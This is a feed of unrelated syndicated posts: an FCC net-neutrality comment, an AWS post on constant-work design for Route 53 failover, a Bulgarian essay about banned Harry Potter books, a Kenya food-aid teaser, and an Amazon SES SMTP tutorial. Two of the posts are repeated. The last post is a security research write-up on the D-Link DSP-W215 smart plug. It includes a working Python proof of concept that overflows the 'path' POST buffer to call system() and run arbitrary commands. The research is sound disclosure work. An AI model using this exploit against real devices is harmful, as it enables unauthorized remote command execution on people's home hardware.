equal. In the original design of the Internet, every device has its own
IP address and, if the user wanted, that device could be addressed
directly and fully by any other device on the Internet. For its part,
the network in between the two nodes were intended to merely move the
packets between those nodes as quickly as possible — treating all those
packets the same way, and analyzing those packets only with publicly
available algorithms that everyone agreed were correct and fair.

Of course, the companies who typically appeal to (or even fight) the FCC
want the true Internet to simply die. They seek to turn the promise of
a truly peer-to-peer network of equality into a traditional broadcast
medium that they control. They frankly want to manipulate the Internet
into a mere television broadcast system (with the only improvement to
that being “more stations”).

Because of this, the three following features of the Internet —
inherent in its design — that are now extremely difficult for
individual home users to purchase at reasonable cost from so-called
“Internet providers” like Time Warner, Verizon, and Comcast:

A static IP address, which allows the user to be a true, equal node on
the Internet. (And, related: IPv6 addresses, which could end the claim
that static IP addresses are a precious resource.)

An unfiltered connection, that allows the user to run their own
webserver, email server and the like. (Most of these companies block TCP
ports 80 and 25 at the least, and usually many more ports, too).

Reasonable choices between the upload/download speed tradeoff.

For example, in New York, I currently pay nearly $150/month to an
independent ISP just to have a static, unfiltered IP address with 10
Mbps down and 2 Mbps up. I work from home and the 2 Mbps up is
incredibly slow for modern usage. However, I still live in the Slowness
because upload speeds greater than that are extremely price-restrictive
from any provider.

In other words, these carriers have designed their networks to
prioritize all downloading over all uploading, and to purposely place
the user behind many levels of Network Address Translation and network
filtering. In this environment, many Internet applications simply do
not work (or require complex work-arounds that disable key features).
As an example: true diversity in VoIP accessibility and service has
almost entirely been superseded by proprietary single-company services
(such as Skype) because SIP, designed by the IETF (in part) for VoIP
applications, did not fully anticipate that nearly every user would be
behind NAT and unable to use SIP without complex work-arounds.

I believe this disastrous situation centers around problems with the
Telecommunications Act of 1996. While
the
ILECs

are theoretically required to license network infrastructure fairly at bulk
rates to

CLEC
s,
I’ve frequently seen — both professional and personally — wars
waged against
CLECs by
ILECs. CLECs
simply can’t offer their own types of services that merely “use”
the ILECs’ connectivity. The technical restrictions placed by ILECs force
CLECs to offer the same style of service the ILEC offers, and at a higher
price (to cover their additional overhead in dealing with the CLECs)! It’s
no wonder there are hardly any CLECs left.

Indeed, in my 25 year career as a technologist, I’ve seen many nasty
tricks by Verizon here in NYC, such as purposeful work-slowdowns in
resolution of outages and Verizon technicians outright lying to me and
to CLEC technicians about the state of their network. For my part, I
stick with one of the last independent ISPs in NYC, but I suspect they
won’t be able to keep their business going for long. Verizon either (a)
buys up any CLEC that looks too powerful, or, (b) if Verizon can’t buy
them, Verizon slowly squeezes them out of business with dirty tricks.

The end result is that we don’t have real options for true Internet
connectivity for home nor on-site business use. I’m already priced
out of getting a 10 Mbps upload with a static IP and all ports usable.
I suspect within 5 years, I’ll be priced out of my current 2 Mbps upload
with a static IP and all ports usable.

I realize the problems that most users are concerned about on this issue
relate to their ability to download bytes from third-party companies
like Netflix. Therefore, it’s all too easy for Verizon to play out this
argument as if it’s big companies vs. big companies.

However, the real fallout from the current system is that the cost for
personal Internet connectivity that allows individuals equal existence
on the network is so high that few bother. The consequence, thus, is
that only those who are heavily involved in the technology industry even
know what types of applications would be available if everyone had a
static IP with all ports usable and equal upload and download speeds
of 10 Mbs or higher.

Yet, that’s the exact promise of network connectivity that I was taught
about as an undergraduate in Computer Science in the early 1990s. What
I see today is the dystopian version of the promise. My generation of
computer scientists have been forced to constrain their designs of
Internet-enabled applications to fit a model that the network carriers
dictate.

I realize you can’t possibly fix all these social ills in the network
connectivity industry with one rule-making, but I hope my comments have
perhaps given a slightly different perspective of what you’ll hear from
most of the other commenters on this issue. I thank you for reading my
comments and would be delighted to talk further with any of your staff
about these issues at your convenience.

Sincerely,

Bradley M. Kuhn,
a citizen of the USA since birth, currently living in New York, NY.

Doing Constant Work to Avoid Failures

Post Syndicated from AWS Architecture Blog original https://www.awsarchitectureblog.com/2014/06/constant-work.html

Amazon Route 53's DNS Failover feature allows fast, automatic rerouting at the DNS layer based on the health of some endpoints. Endpoints are actively monitored from multiple locations and both application or connectivity issues can trigger failover.

Trust No One

One of the goals in designing the DNS Failover feature was making it resilient to large-scale outages. Should a large subset of targets, such as an entire availability zone, fall off the map, the last thing we'd want to do is accumulate a backlog of processing work, delaying the failover. We avoid incurring delays in such cases by making sure that the amount of work we do is bounded regardless of the runtime conditions. This means bounded workload during all stages of processing: data collection, handling, transmission, aggregation and use. Each of these stages requires some thought for it to not cause delays under any circumstances. On top of its own performance, each stage of the pipeline needs to have its output cardinality bounded in a way to avoid causing trouble for the next stage. For extra protection, that next stage should not trust its input to be bounded and implement safety throttling, preferably, isolating input by type and tenant or by whatever dimension of the input may be variable due to a bug or misconfiguration, such as configuring extra previous stages, each producing output, unexpectedly.

Let's dig into how it works out for our health checking service "data plane," the part that does all the work once health checks have been configured through the "control plane." As an aside, we deploy our health checking data plane and control planes similar to the methods described previously.

Health Checkers Example

The frontline component of the system is a fleet of health checker clusters, running from EC2 regions. Each health check is performed by multiple checkers from multiple regions, repeated at the configured frequency. On failure, we do not retry; retrying immediately would increase the number of performed checks if a large proportion of the targets assigned to a given checker fail. Instead, we just perform the next check as scheduled normally (30 seconds later, by default).

Component Diagram

The checkers communicate the results to the aggregators using a steady stream, asynchronously from the checks themselves. It wouldn't matter if, for some reason, we'd be making more checks – the stream is configured separately and does not inflate dynamically.

Transmitting incremental changes, as opposed to the complete current state, will result in an increase in the transmission size in the event there is a spike in the number of status changes. So to comply with the goal, we can either make sure that the transmission pipe does not choke when absolutely everything changes, or we can just transmit the full snapshot of the current state all the time. It turns out that, in our case, the latter is feasible by optimizing the transmission formats for batching (we use a few bits per state and we pack densely), so we happily do that.

Aggregators on the DNS hosts process large streams of incoming states – we are talking about millions each second – and are very sensitive to processing time, so we better be sure that neither the content nor the count of the messages impact that processing time. Here, again, we protect ourselves from spikes in the rate of incoming messages by only performing aggregation once a second per batch of relevant messages. For each batch, only the last result sent by a checker is used and those received previously are discarded. This contrasts with running aggregation for every received message and depending on the constancy of that incoming stream. It is also in contrast to queuing up the messages to smoothen out the bursts of incoming requests. Queues are helpful for this purpose, but only help when bursts are not sustained. Ensuring constancy of work regardless of bursts works better.

In addition to coping with potential incoming message bursts, aggregators need to be able to process messages in a well-bounded time. One of the mistakes we made here originally was not testing the performance of one of the code paths handling some specific unexpected message content. Due to another unexpected condition, at one point, one of the checkers sent a large number of those unexpected states to the aggregators. On their own, these states would be harmless, only triggering some diagnostics. However, the side effect was significant processing slowdown in the aggregators because of the poorly performing code path. Fortunately, because of the constant work design, this simply resulted in skipping some messages during processing and only extending the failure detection latency by a couple seconds. Of course, we fixed the poorly performing path after this; it would have been better to catch this in testing.

All together, for each pipeline stage, the cardinality or rate of the input is bounded and the cost of processing of all types of input is uniformly bounded as well. As a result, each stage is doing a constant amount of work and will not fall over or cause delays based on external events – which is exactly the goal.

– Vadim Meleshuk

Doing Constant Work to Avoid Failures

Post Syndicated from Vadim Meleshuk original https://aws.amazon.com/blogs/architecture/doing-constant-work-to-avoid-failures/

Amazon Route 53’s DNS Failover feature allows fast, automatic rerouting at the DNS layer based on the health of some endpoints. Endpoints are actively monitored from multiple locations and both application or connectivity issues can trigger failover.

Trust No One

One of the goals in designing the DNS Failover feature was making it resilient to large-scale outages. Should a large subset of targets, such as an entire availability zone, fall off the map, the last thing we’d want to do is accumulate a backlog of processing work, delaying the failover. We avoid incurring delays in such cases by making sure that the amount of work we do is bounded regardless of the runtime conditions. This means bounded workload during all stages of processing: data collection, handling, transmission, aggregation and use. Each of these stages requires some thought for it to not cause delays under any circumstances. On top of its own performance, each stage of the pipeline needs to have its output cardinality bounded in a way to avoid causing trouble for the next stage. For extra protection, that next stage should not trust its input to be bounded and implement safety throttling, preferably, isolating input by type and tenant or by whatever dimension of the input may be variable due to a bug or misconfiguration, such as configuring extra previous stages, each producing output, unexpectedly.

Let’s dig into how it works out for our health checking service “data plane,” the part that does all the work once health checks have been configured through the “control plane.” As an aside, we deploy our health checking data plane and control planes similar to the methods described previously.

Health Checkers Example

The frontline component of the system is a fleet of health checker clusters, running from EC2 regions. Each health check is performed by multiple checkers from multiple regions, repeated at the configured frequency. On failure, we do not retry; retrying immediately would increase the number of performed checks if a large proportion of the targets assigned to a given checker fail. Instead, we just perform the next check as scheduled normally (30 seconds later, by default).

The checkers communicate the results to the aggregators using a steady stream, asynchronously from the checks themselves. It wouldn’t matter if, for some reason, we’d be making more checks – the stream is configured separately and does not inflate dynamically.

Transmitting incremental changes, as opposed to the complete current state, will result in an increase in the transmission size in the event there is a spike in the number of status changes. So to comply with the goal, we can either make sure that the transmission pipe does not choke when absolutely everything changes, or we can just transmit the full snapshot of the current state all the time. It turns out that, in our case, the latter is feasible by optimizing the transmission formats for batching (we use a few bits per state and we pack densely), so we happily do that.

Aggregators on the DNS hosts process large streams of incoming states – we are talking about millions each second – and are very sensitive to processing time, so we better be sure that neither the content nor the count of the messages impact that processing time. Here, again, we protect ourselves from spikes in the rate of incoming messages by only performing aggregation once a second per batch of relevant messages. For each batch, only the last result sent by a checker is used and those received previously are discarded. This contrasts with running aggregation for every received message and depending on the constancy of that incoming stream. It is also in contrast to queuing up the messages to smoothen out the bursts of incoming requests. Queues are helpful for this purpose, but only help when bursts are not sustained. Ensuring constancy of work regardless of bursts works better.

In addition to coping with potential incoming message bursts, aggregators need to be able to process messages in a well-bounded time. One of the mistakes we made here originally was not testing the performance of one of the code paths handling some specific unexpected message content. Due to another unexpected condition, at one point, one of the checkers sent a large number of those unexpected states to the aggregators. On their own, these states would be harmless, only triggering some diagnostics. However, the side effect was significant processing slowdown in the aggregators because of the poorly performing code path. Fortunately, because of the constant work design, this simply resulted in skipping some messages during processing and only extending the failure detection latency by a couple seconds. Of course, we fixed the poorly performing path after this; it would have been better to catch this in testing.

All together, for each pipeline stage, the cardinality or rate of the input is bounded and the cost of processing of all types of input is uniformly bounded as well. As a result, each stage is doing a constant amount of work and will not fall over or cause delays based on external events – which is exactly the goal.

– Vadim Meleshuk

Джесика Кори: „Хари Потър и забранените книги“

Post Syndicated from Selene original https://nookofselene.wordpress.com/2014/06/01/jessica_khoury_harry_potter/

Много от авторите на любими ми книги признават, че са се вдъхновили да пишат от поредицата „Хари Потър“ – не непременно за конкретните истории, а да пишат по принцип. Но ролята на „Хари Потър“ в живота на Джесика Кори, автор на „Произход“ и други фантастични йънг адълт романи, е дори още по-голяма. Ето нейния разказ – за забранените книги, за порастването и за правото на избор…
В моя малък роден град в Джорджия, в който имаше 144 църкви и само един бар, „Хари Потър“ беше определян като върха на дяволските творения – съзаклятие, създадено, за да примамва малките деца по порочни пътища, водещи до морална гибел. Можех да преброя на пръстите на едната си ръка децата, за които знаех, че са прочели забранените книги, и бях наясно, че бяха тормозени заради това. Но виждах книгите в стекове в „Уол-Март“ (единственото място, където реално се продаваха книги в града ни) и, въпреки че не смеех да си го призная, те ми шепнеха.
harry_potter_halfblood_prince По различни поводи дори дръзвах да се доближа на три метра от тях, заставах и ги изучавах отстрани, като се преструвах, че небрежно разглеждам шоколадчетата до касата. С равностойни срам и очарование запаметявах корицата на „Хари Потър и Нечистокръвния принц“ и се чудех какви ли думи се крият вътре. Когато мои приятели ми подшушнаха, че братовчедът на приятел на техен приятел е прочел тези книги (информация, посрещната с много гримаси и клатене на глави), ушите ми сигурно бяха почервенели. „Не мога да им кажа“ – мислех си. – „Не мога да им кажа.“
Но наистина исках да ги прочета. Много. Дори не съм сигурна какво ме притегляше към тях. Дали това, че бяха забранени? Или пък дебелината им? Винаги съм имала и винаги ще имам слабост към дебели книги. Или пък може би изкусителните им мистериозни корици?
Спомням си деня, в който най-сетне попитах родителите си дали може да прочета „Хари Потър“. Обмислях речта си цяла седмица. Имах си набелязани етапи и шлифовани аргументи. Логично бях пресметнала, че най-добрият ми подход е: „Но ако не съм ги чела, как бих могла да се защитавам срещу тях?“.
Първата ми молба, която беше доста по-смирена, отколкото я бях репетирала, беше посрещната със звучно НЕ. Но аз не се отказах. Отне ми няколко месеца, но най-сетне постоянството ми ми се отплати. Мисля, че в един момент родителите ми се измориха от постоянното ми натякване и затова се омилостивиха. Но не ми дадоха разрешението си с гневен отговор или като капитулация, а като признание на автономията ми. „Ние не искаме да четеш тези книги“ – казаха те, – „но ти разрешаваме да прецениш сама. Вече си на 15 и ние уважаваме твоята способност да избираш. Отсега нататък е твой избор какво ще четеш и каквото и да е то, ние ще продължаваме да те обичаме и да ти вярваме.“
jessicaБеше шокиращ момент, по-освобождаващ от всичко, което някога бях изживявала. Беше много по-определяща стъпка към зрелостта ми от вземането на шофьорска книжка, отиването в колеж или първото гласуване. Това беше денят, в който родителите ми признаха и уважиха моята способност да правя избор и въпреки че не харесаха решението ми, никога не се разколебаха в любовта и доверието си.
„Хари Потър“ се превърна в повратна точка във взаимоотношенията ми с моите родители. Ако те не бяха изрекли тези думи, ако вместо това бях изчела тези книги тайно и с чувство на вина, може би щях да се превърна в съвсем различен човек. Несъмнено връзката ми с тях щеше да беше силно нарушена. Вместо това прочетох книгите без никакъв срам, влюбих се в тях и запазих уважението на родителите си въпреки различното им мнение.
Загубих ли приятели? Да. Спомням си как казах на някои от тях, че съм прочела книгите и дори че съм ги харесала и те шокирани заявиха, че прекратяват приятелството ни и никога повече няма да си проговорим. Така и стана, не го направихме – но за моя изненада бях облекчена. Никога изпитах липсата им. Чувах как другите си шепнат: „Разбрахте ли, че Джесика чете „Хари Потър“?“ и се усмихвах.
Години по-късно щях да седна в киното с някои от тези си приятели – и дори с родителите си – за премиерата на филма „Хари Потър и Орденът на феникса“. Години по-късно щях да се озова в Хогсмийд в увеселителния парк „Вълшебният свят на Хари Потър“ с маслена бира в ръка и да плача, защото всичко беше започнало именно на това място. Точно тук беше започнала автономията ми.
Не беше порочно. Не бях засрамена. Но станах по-уверена в своите избори и в своята независимост. Много деца пораснаха с Хари Потър, а аз пораснах заради него.
Khoury, Jessica. Harry Potter And The Forbidden Books // NPR Books, 31.05.2014. 

Гледат ли се на харизан кон зъбите?

Post Syndicated from Longanlon original http://kaka-cuuka.com/3408


Кения претърпява поредната си суша и поради това е заплашена от поредния масов глад. Въпреки това, отказва предложения за помощи, защото били “храна за кучета”, а преди години забрани вноса и отглеждането на всякакви ГМО култури…

(Чети още…) (521 думи)


Debugging SMTP Conversations Part 1: How to Speak SMTP

Post Syndicated from Elton Pinto original http://sesblog.amazon.com/post/Tx1FLLVZQB8HI2Z/Debugging-SMTP-Conversations-Part-1-How-to-Speak-SMTP

Amazon SES strives to make your email sending as simple and quick as possible, which means that users of our HTTP API don’t even have to worry about what an SMTP conversation is or how to capture one. Even a lot of our SMTP interface users outsource the problem to software like Microsoft Outlook or PHP Mailer that takes care of these details for them. But if you’re experiencing an issue sending mail that can’t be explained by a recent code change or an error message from SES, understanding how an SMTP conversation works can be helpful. Or maybe you’re just curious as to what those bits flying around look like. In today’s blog post, the first in a series to help you debug these issues, we’ll go over the basics of an SMTP conversation.

Conversational SMTP

The Simple Mail Transfer Protocol (SMTP) was first officially put into writing in 1982 in RFC 821 as a way to “transfer mail reliably and efficiently”, but the protocol that the majority of ISPs use today is described in RFC 5321. The protocol includes a basic handshake, supported commands and responses at each step of the conversation, and finally transmission of message content. Here is a summary of the various steps of a typical conversation, without any extensions involved:

An SMTP client opens a connection with an SMTP server. Generally, this is on port 25 or 587.

The SMTP server responds with a 220 code and may follow that with a header that describes the server. It could also respond with a 554 status code to reject the connection, and then the client’s only option would be the QUIT command.

The SMTP client sends either an EHLO or HELO command to the server. Either command must be followed by a space and then the domain of the client. Contemporary clients and servers should support EHLO, so EHLO is what we’ll use in this example. 

The SMTP server should respond to the EHLO with the 250 status code, its domain name, and a server greeting, and one line for every SMTP extension it supports.

Now the SMTP client is in business and can start defining the mail to be sent, starting with what’s commonly referred to as the “envelope from” header. The client sends “MAIL FROM:” followed by a reverse-path address, which defines where bounce messages are sent if the message can’t be delivered after it’s accepted (receiving MTAs add this to incoming mail with the Return-Path header). If the mail being sent is a bounce message, this address should be empty (i.e., “<>”). The reverse-path address can optionally be followed by mail parameters defined by a supported SMTP extension (as advertised in the EHLO reply). The conversation cannot proceed until this MAIL FROM command is sent and accepted.

The SMTP server must accept the MAIL FROM with a “250 OK” reply if the format is good and the address is deemed acceptable. Otherwise, the server typically responds with a 550 or 553 error response to indicate whether the failure is temporary or permanent. Other acceptable error status codes are 552, 451, 452, 503, 455, and 555 (see RFC 5321 for their definitions).

The SMTP client can now define whom the email is for using the RCPT TO command. The syntax is very similar to MAIL FROM: it must be the literal “RCPT TO:” followed by the forward-path address surrounded by angle brackets. This can also optionally be followed by any parameters necessary to use an SMTP extension advertised in the EHLO reply. The RCPT TO command can only define a single recipient. If there are multiple recipients, the command can be issued multiple times, but the client needs to wait for a response from the server each time before supplying another destination.

The SMTP server usually validates that the address is deliverable and responds with “250 OK” if it is. Otherwise, it typically returns a 550 reply. Other acceptable error status codes are 551, 552, 553, 450, 451, 452, 503, 455, and 555 (see RFC 5321 for their definitions). Some servers will accept all mail and only validate the destination after the SMTP conversation has completed.   

Finally, the SMTP client can initiate sending the body of the email by issuing the DATA command with no other text after it.

The SMTP server responds with a 354 reply if it is ready to accept the message, or else a 503 or 554 if there was no valid MAIL FROM or RCPT TO command sent.

If the SMTP server responded with a 354 reply, the client submits the message text, followed by the end of mail data indicator, which is a line containing only a period. The message generally starts with headers (one per line, e.g., “Header-name: header-value”) and then is followed by the body of the message.

If the message is accepted, the SMTP server replies with a “250 OK” reply.

The client can now initiate a new conversation with the server or send the “QUIT” command to politely close out the connection.

If the SMTP server receives a QUIT, it is supposed to send a “221 OK” reply and then close the connection.

For deeper details of SMTP, please refer to RFC 5321. You can communicate with SES via SMTP over a number of clients including Microsoft Outlook – see the developer guide for more details. If you’d like to see the conversation yourself, you can also use telnet. There are a few additional things worth noting:

The server must not intentionally close the connection unless it sees a QUIT command except in the case of a timeout or if the server has to go down.

At any time during the conversation, the SMTP client can send the RSET command (just “RSET”, no additional parameters) to abort the current mail transaction so that the conversation can start fresh.

Other supported commands are VRFY to verify that a string represents a valid user or mailbox, EXPN to confirm that a string identifies a mailing list and returns membership of that list, NOOP to get a “250 OK” reply from the server, and HELP to get help information.

One notable extension that Amazon SES supports for secure communication on ports 25, 587, and 2587 is STARTTLS, as detailed in RFC 3207. After the EHLO, the client sends the command “STARTTLS”, the server replies with “220 Ready to start TLS” (or 501 or 454 error codes), and then TLS negotiation occurs to set up encryption keys. The conversation is then reset and must start with EHLO all over again with all transactions from here on out encrypted. Amazon SES also supports TLS wrapper mode on ports 465 and 2465.

Another notable extension that Amazon SES requires for authentication is AUTH PLAIN LOGIN, which is where you would enter your SMTP credentials. This is explained in some detail in the Developer’s Guide, but a recent blog post also goes into authentication in general.

Here is a sample SMTP conversation with SES in TLS wrapper mode with the conversation contents decrypted. The blue text comes from Amazon SES and the red text comes from a sample client:

PROXY TCP4 74.120.248.95 10.44.15.76 14659 465

220 email-smtp.amazonaws.com ESMTP SimpleEmailService-793939519 iqAfLvOj6BjiiCjSnD6S

EHLO email-smtp.us-east-1.amazonaws.com

250-email-smtp.amazonaws.com

250-8BITMIME

250-SIZE 10485760

250-AUTH PLAIN LOGIN

250 Ok

AUTH LOGIN

334 VXNlcm5hbWU6

bXlfZmFrZV91c2VybmFtZQ==

334 UGFzc3dvcmQ6

bXlfZmFrZV9wYXNzd29yZA==

235 Authentication successful.

MAIL FROM:<[email protected]>

250 Ok

RCPT TO:<[email protected]>

250 Ok

DATA

354 End data with <CR><LF>.<CR><LF>

MIME-Version: 1.0

Subject: Test message

From: Senior Tester <[email protected]>

Content-Type: text/html; charset="UTF-8"

Content-Transfer-Encoding: quoted-printable

To: [email protected]>

<b>Cool email body</b>

.

250 Ok 0000012345678e09-123a4cdc-b56c-78dd-b90e-d123be456789-000000

QUIT

221 Bye

We hope that you feel better informed now on how email works at a high level! In the next post of this series we’ll go over how you can easily capture a live SMTP conversation. Thanks for being a customer of Amazon SES!

Debugging SMTP Conversations Part 1: How to Speak SMTP

Post Syndicated from Elton Pinto original http://sesblog.amazon.com/post/Tx1FLLVZQB8HI2Z/Debugging-SMTP-Conversations-Part-1-How-to-Speak-SMTP

Amazon SES strives to make your email sending as simple and quick as possible, which means that users of our HTTP API don’t even have to worry about what an SMTP conversation is or how to capture one. Even a lot of our SMTP interface users outsource the problem to software like Microsoft Outlook or PHP Mailer that takes care of these details for them. But if you’re experiencing an issue sending mail that can’t be explained by a recent code change or an error message from SES, understanding how an SMTP conversation works can be helpful. Or maybe you’re just curious as to what those bits flying around look like. In today’s blog post, the first in a series to help you debug these issues, we’ll go over the basics of an SMTP conversation.

Conversational SMTP

The Simple Mail Transfer Protocol (SMTP) was first officially put into writing in 1982 in RFC 821 as a way to “transfer mail reliably and efficiently”, but the protocol that the majority of ISPs use today is described in RFC 5321. The protocol includes a basic handshake, supported commands and responses at each step of the conversation, and finally transmission of message content. Here is a summary of the various steps of a typical conversation, without any extensions involved:

An SMTP client opens a connection with an SMTP server. Generally, this is on port 25 or 587.

The SMTP server responds with a 220 code and may follow that with a header that describes the server. It could also respond with a 554 status code to reject the connection, and then the client’s only option would be the QUIT command.

The SMTP client sends either an EHLO or HELO command to the server. Either command must be followed by a space and then the domain of the client. Contemporary clients and servers should support EHLO, so EHLO is what we’ll use in this example. 

The SMTP server should respond to the EHLO with the 250 status code, its domain name, and a server greeting, and one line for every SMTP extension it supports.

Now the SMTP client is in business and can start defining the mail to be sent, starting with what’s commonly referred to as the “envelope from” header. The client sends “MAIL FROM:” followed by a reverse-path address, which defines where bounce messages are sent if the message can’t be delivered after it’s accepted (receiving MTAs add this to incoming mail with the Return-Path header). If the mail being sent is a bounce message, this address should be empty (i.e., “<>”). The reverse-path address can optionally be followed by mail parameters defined by a supported SMTP extension (as advertised in the EHLO reply). The conversation cannot proceed until this MAIL FROM command is sent and accepted.

The SMTP server must accept the MAIL FROM with a “250 OK” reply if the format is good and the address is deemed acceptable. Otherwise, the server typically responds with a 550 or 553 error response to indicate whether the failure is temporary or permanent. Other acceptable error status codes are 552, 451, 452, 503, 455, and 555 (see RFC 5321 for their definitions).

The SMTP client can now define whom the email is for using the RCPT TO command. The syntax is very similar to MAIL FROM: it must be the literal “RCPT TO:” followed by the forward-path address surrounded by angle brackets. This can also optionally be followed by any parameters necessary to use an SMTP extension advertised in the EHLO reply. The RCPT TO command can only define a single recipient. If there are multiple recipients, the command can be issued multiple times, but the client needs to wait for a response from the server each time before supplying another destination.

The SMTP server usually validates that the address is deliverable and responds with “250 OK” if it is. Otherwise, it typically returns a 550 reply. Other acceptable error status codes are 551, 552, 553, 450, 451, 452, 503, 455, and 555 (see RFC 5321 for their definitions). Some servers will accept all mail and only validate the destination after the SMTP conversation has completed.   

Finally, the SMTP client can initiate sending the body of the email by issuing the DATA command with no other text after it.

The SMTP server responds with a 354 reply if it is ready to accept the message, or else a 503 or 554 if there was no valid MAIL FROM or RCPT TO command sent.

If the SMTP server responded with a 354 reply, the client submits the message text, followed by the end of mail data indicator, which is a line containing only a period. The message generally starts with headers (one per line, e.g., “Header-name: header-value”) and then is followed by the body of the message.

If the message is accepted, the SMTP server replies with a “250 OK” reply.

The client can now initiate a new conversation with the server or send the “QUIT” command to politely close out the connection.

If the SMTP server receives a QUIT, it is supposed to send a “221 OK” reply and then close the connection.

For deeper details of SMTP, please refer to RFC 5321. You can communicate with SES via SMTP over a number of clients including Microsoft Outlook – see the developer guide for more details. If you’d like to see the conversation yourself, you can also use telnet. There are a few additional things worth noting:

The server must not intentionally close the connection unless it sees a QUIT command except in the case of a timeout or if the server has to go down.

At any time during the conversation, the SMTP client can send the RSET command (just “RSET”, no additional parameters) to abort the current mail transaction so that the conversation can start fresh.

Other supported commands are VRFY to verify that a string represents a valid user or mailbox, EXPN to confirm that a string identifies a mailing list and returns membership of that list, NOOP to get a “250 OK” reply from the server, and HELP to get help information.

One notable extension that Amazon SES supports for secure communication on ports 25, 587, and 2587 is STARTTLS, as detailed in RFC 3207. After the EHLO, the client sends the command “STARTTLS”, the server replies with “220 Ready to start TLS” (or 501 or 454 error codes), and then TLS negotiation occurs to set up encryption keys. The conversation is then reset and must start with EHLO all over again with all transactions from here on out encrypted. Amazon SES also supports TLS wrapper mode on ports 465 and 2465.

Another notable extension that Amazon SES requires for authentication is AUTH PLAIN LOGIN, which is where you would enter your SMTP credentials. This is explained in some detail in the Developer’s Guide, but a recent blog post also goes into authentication in general.

Here is a sample SMTP conversation with SES in TLS wrapper mode with the conversation contents decrypted. The blue text comes from Amazon SES and the red text comes from a sample client:

PROXY TCP4 74.120.248.95 10.44.15.76 14659 465

220 email-smtp.amazonaws.com ESMTP SimpleEmailService-793939519 iqAfLvOj6BjiiCjSnD6S

EHLO email-smtp.us-east-1.amazonaws.com

250-email-smtp.amazonaws.com

250-8BITMIME

250-SIZE 10485760

250-AUTH PLAIN LOGIN

250 Ok

AUTH LOGIN

334 VXNlcm5hbWU6

bXlfZmFrZV91c2VybmFtZQ==

334 UGFzc3dvcmQ6

bXlfZmFrZV9wYXNzd29yZA==

235 Authentication successful.

MAIL FROM:<[email protected]>

250 Ok

RCPT TO:<[email protected]>

250 Ok

DATA

354 End data with <CR><LF>.<CR><LF>

MIME-Version: 1.0

Subject: Test message

From: Senior Tester <[email protected]>

Content-Type: text/html; charset="UTF-8"

Content-Transfer-Encoding: quoted-printable

To: [email protected]>

<b>Cool email body</b>

.

250 Ok 0000012345678e09-123a4cdc-b56c-78dd-b90e-d123be456789-000000

QUIT

221 Bye

We hope that you feel better informed now on how email works at a high level! In the next post of this series we’ll go over how you can easily capture a live SMTP conversation. Thanks for being a customer of Amazon SES!

Hacking the DSP-W215, Again, Again, Again

Post Syndicated from Craig original http://www.devttys0.com/2014/05/hacking-the-dsp-w215-again-again-again/

So far, the vulnerabilities found in the DSP-W215 have only been practically exploitable from the LAN, unless someone was foolish enough to make their smart plug remotely accessible on the Internet.
The typical way for external attackers to target internal web servers, such as the one running on the DSP-W215, is through CSRF. The problem is that any web browser used for a CSRF attack will URL encode binary values, such as our return addresses, but thus far the vulnerabilities we’ve exploited don’t URL decode our data (note that the replace_special_char function exploited in the last vulnerability only URL decodes a small range of ASCII values).
The my_cgi.cgi binary, which has been our primary target for exploitation, contains a decode function which is responsible for URL decoding POST data. This function accepts only two arguments, which are a pointer to the encoded data and a pointer to a destination buffer to store the decoded data:

void decode(char *encode_buf, char *decode_buf);

The decode function simply loops through all of the bytes in encode_buf, decoding/copying them blindly into decode_buf:
The decode while loopThe decode while loop

Roughly translated, the decode function reads:

void decode(char *encode_buf, char *decode_buf)
{
int encoded_byte_len;
char *encode_buf_end_ptr = encode_buf + strlen(encode_buf);

// Loop through all bytes in encode_buf, without knowing how big decode_buf is
while(encoded_data < encode_buf_end_ptr)
{
/*
* …
* Do Decoding of the next byte in encoded_data.
* encoded_byte_len = number of bytes processed in this loop iteration (1 or 3).
* …
*/

decode_buf[0] = decoded_byte;
decode_buf++;
encoded_data += encoded_byte_len;
}
}

If a calling function is not careful to allocate a large enough buffer to store all the decoded data, the decode_buf could be overflowed by a large POST parameter.
There is only one place in my_cgi.cgi where the decode function is called, which is from the get_input_entries function:
Only the "path" POST parameter is decodedOnly the “path” POST parameter is decoded
We can see that the decode function is only called if the POST parameter name is “path”, and from the memset we can infer that the decode_buf passed to the decode function is only a 0x400 byte stack buffer:

char decode_buf[0x400];

if(strcmp(entries[i]->name, "path") == 0)
{
// Decode path POST value into the fixed-size decode_buf
decode(entries[i]->value, decode_buf);
strcpy(entries[i]->value, decode_buf);
}

replace_special_char(entries[i]->value);

This means that providing a POST “path” value greater than 0x400 bytes will overflow the decode_buf stack variable in the get_input_entries function. What’s more, we have no bad bytes, because the decode function will helpfully URL decode any offending bytes (NULL bytes become “%00” in our POST request, for example) before copying them to the stack.
However, we have to take care in crafting our exploit buffer such that we don’t trigger the previously described stack overflow in the replace_special_char function, which is called before get_input_entries returns.
Luckily, the data passed to replace_special_char is actually strcpy’d from decode_buf first. If we put a NULL byte near the beginning of our POST data, replace_special_char will only be passed a very small string (everything up to the first NULL byte) instead of the entire POST data that has been decoded onto the stack.
A “path” POST value greater than 1060 bytes will overflow everything in the get_input_entries stack frame up to the saved return address:
The get_input_entries stack layoutThe get_input_entries stack layout
And, since we have no bad bytes, we can use the return address of 0x00405CEC that was used in previous exploits in order to call system() with a pointer to the stack ($sp+0x28):
system() call at 0x00405CECsystem() call at 0x00405CEC
Here’s some PoC code in Python that overflows the get_input_entries saved return address with the address of the call to system() at 0x00405CEC and puts a command to execute on the stack at $sp+0x28:

import sys
import urllib
import urllib2

try:
target = sys.argv[1]
command = sys.argv[2]
except:
print "Usage: %s <target> <command>" % sys.argv[0]
sys.exit(1)

url = "http://%s/common/info.cgi" % target

buf = "x00" # Start with a NULL byte to prevent crashing in replace_special_chars
buf += "D" * (1060-1) # Stack filler
buf += "x00x40x5CxEC" # $ra, address of call to system()
buf += "E" * 0x28 # Stack filler
buf += command # Command to execute
buf += "x00" # NULL terminate the command, for good measure

# URL encode the path POST value
post_data = "path=" + urllib.quote_plus(buf).replace(‘+’, ‘%20’)

# Set a referer to show that there are no CSRF protections
headers = {‘Referer’ : ‘http://www.attacker.com/exploit.html’}

req = urllib2.Request(url, post_data, headers)
print urllib2.urlopen(req).read()

And, of course, it works as expected:

$ ./exploit.py 192.168.0.60 ‘ls -l /’
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin
drwxrwxr-x 3 1000 1000 4096 May 22 18:03 dev
drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc
drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib
drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec
lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox
